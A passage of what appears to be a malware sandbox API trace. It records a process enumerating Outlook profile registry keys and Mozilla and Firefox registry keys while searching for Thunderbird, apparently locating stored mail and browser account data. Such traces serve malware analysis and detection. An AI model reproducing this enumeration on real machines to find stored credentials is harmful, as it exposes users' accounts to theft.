lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" [0056.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" [0056.983] LocalFree (hMem=0x2fc080) returned 0x0 [0056.983] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.983] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.983] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.983] LocalFree (hMem=0x2fc320) returned 0x0 [0056.983] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0xe, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.983] lstrlenA (lpString="\\") returned 1 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.984] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.984] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.984] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.984] lstrlenA (lpString="f86ed2903a4a11cfb57e524153480001") returned 32 [0056.984] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.984] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.984] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="f86ed2903a4a11cfb57e524153480001" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0056.984] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.984] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned 88 [0056.984] lstrlenA (lpString="") returned 0 [0056.984] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.984] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0056.984] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0056.984] LocalFree (hMem=0x2fc080) returned 0x0 [0056.984] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.984] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.984] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.984] LocalFree (hMem=0x2fc320) returned 0x0 [0056.984] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0xf, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.984] RegCloseKey (hKey=0x1e8) returned 0x0 [0056.984] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", phkResult=0x21f390 | out: phkResult=0x21f390*=0x0) returned 0x2 [0056.984] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.984] IStream:LockRegion (This=0x2c1a58, libOffset=0x228, cb=0x0, dwLockType=0x0) returned 0x0 [0056.984] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbb0) returned 0x0 [0056.984] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.984] LocalFree (hMem=0x2b28f0) returned 0x0 [0056.984] LocalFree (hMem=0x2b28a8) returned 0x0 [0056.984] LocalFree (hMem=0x2e5210) returned 0x0 [0056.984] LocalFree (hMem=0x2f5bc8) returned 0x0 [0056.984] LocalFree (hMem=0x2b72d8) returned 0x0 [0056.984] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.984] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.984] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fac8) returned 0x0 [0056.984] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fac0) returned 0x0 [0056.984] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fadc) returned 0x0 [0056.984] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fac4) returned 0x0 [0056.984] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x21faf4 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0056.984] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0056.984] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2ec3a0 [0056.984] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x21fab8 | out: phkResult=0x21fab8*=0x1e8) returned 0x0 [0056.984] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x0, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.985] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.985] lstrlenA (lpString="\\") returned 1 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.985] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.985] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.985] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.985] lstrlenA (lpString="Firefox") returned 7 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2fee88 [0056.985] lstrcpyA (in: lpString1=0x2fee88, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.985] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.985] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.985] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.985] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.985] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.985] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.985] lstrlenA (lpString="\\") returned 1 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2ff9b0 [0056.985] lstrcpyA (in: lpString1=0x2ff9b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.985] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.985] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0056.985] lstrlenA (lpString="Crash Reporter") returned 14 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x2f95f8 [0056.985] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.985] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0056.985] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.985] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Thunderbird") returned 0x0 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.985] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.985] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.985] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.985] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.985] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.985] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.985] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.985] lstrlenA (lpString="\\") returned 1 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2ff9b0 [0056.985] lstrcpyA (in: lpString1=0x2ff9b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.985] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.985] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0056.985] lstrlenA (lpString="TaskBarIDs") returned 10 [0056.985] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2f95f8 [0056.985] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.985] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0056.986] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.986] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.986] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.986] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.986] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.986] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.986] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.986] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x2, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.986] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.986] LocalFree (hMem=0x2edb78) returned 0x0 [0056.986] LocalFree (hMem=0x2fee88) returned 0x0 [0056.986] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x1, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.986] RegCloseKey (hKey=0x1e8) returned 0x0 [0056.986] LocalFree (hMem=0x2ec3a0) returned 0x0 [0056.986] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2ec3a0 [0056.986] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x21fab8 | out: phkResult=0x21fab8*=0x1e8) returned 0x0 [0056.986] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x0, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.986] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.986] lstrlenA (lpString="\\") returned 1 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.986] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.986] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.986] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.986] lstrlenA (lpString="Firefox") returned 7 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x2fee88 [0056.986] lstrcpyA (in: lpString1=0x2fee88, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.986] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.986] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.986] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.986] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.986] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.986] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.986] lstrlenA (lpString="\\") returned 1 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2ff9b0 [0056.986] lstrcpyA (in: lpString1=0x2ff9b0, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0056.986] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.986] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0056.986] lstrlenA (lpString="TaskBarIDs") returned 10 [0056.986] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2f95f8 [0056.986] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0056.987] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0056.987] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.987] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.987] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.987] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.987] RegCloseKey (hKey=0x1f0) returned 0x0 [0056.987] LocalFree (hMem=0x2e19c0) returned 0x0 [0056.987] LocalFree (hMem=0x2f95f8) returned 0x0 [0056.987] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.987] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.987] LocalFree (hMem=0x2edb78) returned 0x0 [0056.987] LocalFree (hMem=0x2fee88) returned 0x0 [0056.987] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0x1, lpName=0x2ec3a0, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.987] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.987] lstrlenA (lpString="\\") returned 1 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x2e66f8 [0056.987] lstrcpyA (in: lpString1=0x2e66f8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0056.987] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.987] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0056.987] lstrlenA (lpString="Mozilla Firefox") returned 15 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x2f95f8 [0056.987] lstrcpyA (in: lpString1=0x2f95f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0056.987] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0056.987] LocalFree (hMem=0x2e66f8) returned 0x0 [0056.987] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2edb78 [0056.987] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x1ec) returned 0x0 [0056.987] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x2edb78, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.987] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0056.987] lstrlenA (lpString="\\") returned 1 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x2f9e38 [0056.987] lstrcpyA (in: lpString1=0x2f9e38, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0056.987] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0056.987] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0056.987] lstrlenA (lpString="25.0 (en-US)") returned 12 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x2fc4c8 [0056.987] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0056.987] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0056.987] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.987] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0056.987] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e19c0 [0056.987] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x1f0) returned 0x0 [0056.987] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.988] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0056.988] lstrlenA (lpString="\\") returned 1 [0056.988] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2fc580 [0056.988] lstrcpyA (in: lpString1=0x2fc580, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0056.988] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.988] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0056.988] lstrlenA (lpString="Main") returned 4 [0056.988] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2d2ef8 [0056.988] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0056.988] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0056.988] LocalFree (hMem=0x2fc580) returned 0x0 [0056.988] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0056.988] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2e2248 [0056.988] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x21f9e0 | out: phkResult=0x21f9e0*=0x1f4) returned 0x0 [0056.988] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x2e2248, lpcchName=0x21f9d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21f9d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.988] RegCloseKey (hKey=0x1f4) returned 0x0 [0056.988] LocalFree (hMem=0x2e2248) returned 0x0 [0056.988] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.988] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x2e19c0, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.988] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0056.988] lstrlenA (lpString="\\") returned 1 [0056.988] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2fc580 [0056.988] lstrcpyA (in: lpString1=0x2fc580, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0056.988] lstrcatA 